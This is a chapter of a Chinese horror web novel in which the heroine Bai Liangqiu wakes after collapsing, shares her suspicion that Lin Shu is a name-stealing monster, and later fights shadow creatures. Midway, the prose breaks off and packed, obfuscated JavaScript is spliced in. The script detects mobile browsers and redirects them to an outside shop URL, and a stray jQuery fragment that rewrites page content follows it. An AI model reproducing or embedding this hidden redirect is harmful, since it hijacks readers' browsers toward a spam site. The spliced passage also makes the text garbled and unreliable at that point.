很久以前,白凉秋就发现,她体内有一股不受控的本能。
这本能在来到怪谈世界后愈演愈烈,或许是环境的特殊,又或许是法力的丧失,无力感压倒掌控感。
那是救人的本能。
是不能伤人,不能对人类苦难视若无睹的本能。
因为她是神兽吗?
无父无母、天生地养的神兽,生来要有一颗慈悲心。
发觉她没有,便给她上了枷锁,逼她低头下跪,逼她臣服求饶。
让她只能如同被设定好的程序,以规定的路径,一条道走到黑。
白凉秋常常觉得,自由是太奢侈的东西。
血液在体内燃烧,神经突突地跳,血从口中涌出,白凉秋伸手去接。
却没接住,啪嗒一声落在地上。
远处学生化作血海,她的血似乎也成了浪花。
那不是人类。
重复着,白凉秋想对本能解释,然而那炸开的人型血雾,使一切辩解都苍白。
是她杀了他们。
她的胜利,杀死了他们。
和村长那次不同,和林疏那次也不同,在他们出手伤人之前,是她先动了手。
无法否定,便轻而易举放弃,任由本能叫嚣,钝刀子般割她的神经,带来眼前发黑,平衡感随之失去。
不受控地,白凉秋跪倒在地,向前倾去。
砰。
白凉秋很少做梦。
梦有太多变量,较之现实,又显得无可改变。
她曾经无需睡眠,梦便显得陌生。
来了这里,虽有了需求,却多是浅眠,又时间短,便也无暇做梦。
而这回,昏迷的突如其来,反倒睡了个长觉,做了个……
噩梦。
是噩梦吗?
看着手上层层缠绕的锁链,白凉秋甚至有闲暇与之前的幻境作比。
似乎逼真些,里面的铁锈也还原,被人按在地上,刀抵上脖子,劈裂的刀刃刺的人生疼,也是熟悉感觉。
不由叹息。
这不是噩梦。
是现实。
发生过的,被掩埋在回忆里,几乎被她忘却的现实。
只是,现实里似乎又掺杂幻象。
记忆中不存在的谁走到她面前,低头看她。
挣了挣链子,她仰起头,想要看清。
却只见一片模糊光影,晃个不停,将那人晕染出过白的轮廓,亮的刺眼。
让她有些想流泪。
再醒来时,一时恍如隔世。
理智抽离过久,神经仿佛遭遇洗刷,思绪被一个个拼接,像是什么拼图游戏。
如同重启开机,白凉秋回神的速度很慢。
接着便在身下床铺的触感中再一次宕机——她不该倒在操场吗?
处理“被人背回来”这个猜测要更慢些,直到看到趴在床边的人,才堪堪得到证明。
“……右袅?”白凉秋轻声道。
趴着的人突然一抖,晃晃脑袋,迷迷糊糊地起身:“嗯?”
那模样很可爱,白凉秋忍不住笑了。
呆了一会儿,右袅终于反应过来,十分夸张地大喊一声:“白姐,你醒了!”
女孩扑过来,白凉秋顺手接住。更顺手地拍拍她背,像哄小孩一样安抚。
怀里人嘟囔着不知说什么,紧紧抱住她,又突然放手,满脸惊慌,一副生怕弄疼她的样子。
梦的余震便渐退去,白凉秋后知后觉,本能不知何时消停下来,她已不再呕血。
转头看向四周:“其他人呢?”
听到自己已昏迷数个时辰,几个人怕人太多反而混乱,打扰到她,便决定轮流看顾。
她不由有些惊讶。
惊讶于苏同三竟然同意了这样的决定。
无论是出于契约,还是那不知道怎么想的脑袋,白凉秋还以为对方会黏住她不放。
看来,小孩到底是有后手,指不定见她晕倒的突然,已经想好要是她醒不过来,该怎么办了。
失笑地摇摇头,她想,也挺好。
起身靠着墙,白凉秋活动有些僵的身子,关节噼里啪啦。
见右袅要出去叫人,她突然伸手,抓住对方手腕,示意对方等下。
在女孩困惑的目光中,她缓缓道:
“阿袅,关于林疏,我有些事要说。”
“所以林疏她……是怪物?是这个副本的boss?”
并不算大的寝室,右袅声音却很空旷,带着无法落地的虚无。
静静等待对方消化庞杂信息,白凉秋把图书馆的幻境、档案室的调查以及自己的推理全部告诉了右袅。
“听上去可能有些难接受,很多也仅是我的猜测。”白凉秋声音平稳,“阿袅,你不需要信任我,但在这个世界警惕一点,不是坏事。”
无论右袅信不信她,她希望她能对林疏留个心眼。
活下来吧。
近乎叹息,白凉秋默然想着。
“不,我相信你。”
手突然被握住,下意识低下头,便看到女孩蹲在床边,正仰头看她。
眼睛很亮,让白凉秋想起曾经看过的,河边的鹅卵石。
“姐,我相信你说的一切。”
“而且,”右袅道,“我也觉得林疏有可疑的地方。”
右袅提供了一个有用的线索。
关于林疏,关于她是呼名怪物的可能性。
当时白凉秋突然昏迷,令所有人都很惊慌。不光怎么喊都喊不醒,还一直呕血,整个人苍白如纸,也轻得像一张纸。
从【背包】里拿了急救药,喂下去也不见起效。
谁也不知道发生了什么。
最终,右袅背起白凉秋,几个人决定先回寝室。
“可就在这时,林疏停下了。”
突然停下的人引起众人注意。
什么也不说,就只是站住不动了。
事发突然,众人本就内心焦灼。
见状,苏同三不耐催促,宋礼也面色不好。
右袅勉强耐住性子,问对方发生了什么。
林疏却像是无法感知到他们的情绪一样,不慌不忙,神色平静地取出一本册子。
一本很旧、泛黄的册子,封面别了一支笔。
她说:这是在比赛胜利后,掉在地上的。
接着慢慢翻开,翻到第一页。
祂说,林疏像是传达着谁的指令,缓缓道,要签上我们的名字。
“可谁都没看到有什么册子掉下,也没人听到什么声音。”
“你们签了吗?”
心下思索着,白凉秋问道。
“当然没有!”右袅情绪激动,“当时她的样子这么可疑,大家虽然不敢明着违抗,都签了字,但签的都是假名。而且……”
她没说完,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372915|200013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白凉秋却明白她想说的。
而且那次食堂幻境之后,没人敢再交出自己的真名。
心绪沉下去,右袅的话语在脑中不断回放。
林疏的行为确实可疑,无论怎么看,都像是在骗取玩家真名,呼名怪物的身份几乎板上钉钉。
可白凉秋还是有不理解的地方。
相比较在食堂那次,这回套取真名的方式未免太过生硬,甚至平白增添嫌疑——呼名怪物真的会这么做吗?
如果真这么做,是因着迟迟不能得手而心急,还是她那次到底重创了对方,令怪物迫不得已出此下策?
她直觉有哪里被自己忽略。
刚刚苏醒的身体脆弱,禁不起高强度的思考,思绪翻飞间,不一会儿,白凉秋便又觉头疼欲裂。
躺下来,她将手臂枕在额头上。
一旁右袅乖巧坐着,在白凉秋的授意下,没有出去叫其他人。
要想办法把林疏支开,她记得白凉秋说,再把信息告诉他们两个。
在这之前,不要告诉任何人她醒了。
右袅没有异议。
正如她所说,她相信白凉秋说的一切。
时间流逝,在安静的寝室中膨胀。
注视着床上的人,右袅突然开口:
“姐。”
“你为什么会晕倒?”
思绪被打断,白凉秋转头看她。
天色渐暗,夕阳的盛大坠落里,右袅笼罩在一片黄昏中。
橙红卷发格外绚丽,她的声音很低。
某一瞬间,白凉秋看到阴影盖住对方的脸,她便看不清表情。
可下一瞬,光重新透进来,那张脸上纯粹的依赖、信任与关切是如此耀眼。
“可能是太累了吧。”
移开视线,白凉秋合上眼,轻声道。
晚上,林疏回到了寝室。
从掀开一条缝的眼睛,白凉秋往外看。
相较右袅描述中的样子,林疏看上去一切如常。
她甚至看到对方在她床边停留一瞬,将手放到她的额头,又给她掖了掖被子。
随即,是右袅与林疏的对话。
听到右袅说她没有醒来的迹象,白凉秋听到,林疏发出了一声忧虑叹息。
沉默。漫长的沉默。缝隙里透出的景象昏暗,渐渐的,便是天色真正暗下来。
校园步入黑夜。
白凉秋睁开眼。
和前一晚一样,她轻声下床,将睡乱的头发随手一理,推开寝室门。
黑暗里,一眼便看到几个影子涌动,摇晃着朝她过来。
反手关门,白凉秋吸了口气。
然后笑了。笑着走过去,她伸出手——
“咔哒。”“砰。”
脚步一顿。
开关门的声音在寂静的走廊如此清晰,却让白凉秋一时以为是幻听。
回过头,看到站在门口的人,她的笑容缓缓消失。
本能陡然间疯涨、叫嚣。
身后黑影扑上来,有谁勾住她的脚。
肩膀和腰也被缠住,像是阻止她一般。
再然后,她看见一道影子冲向门口——
将吸进去的那口气吐出,白凉秋掩去眸中纷繁芜杂。
她抬起手。
下一刻,墨色喷涌,化作无数利刃。
毫不犹豫地,白凉秋将怪物与自己,一齐砍得粉碎。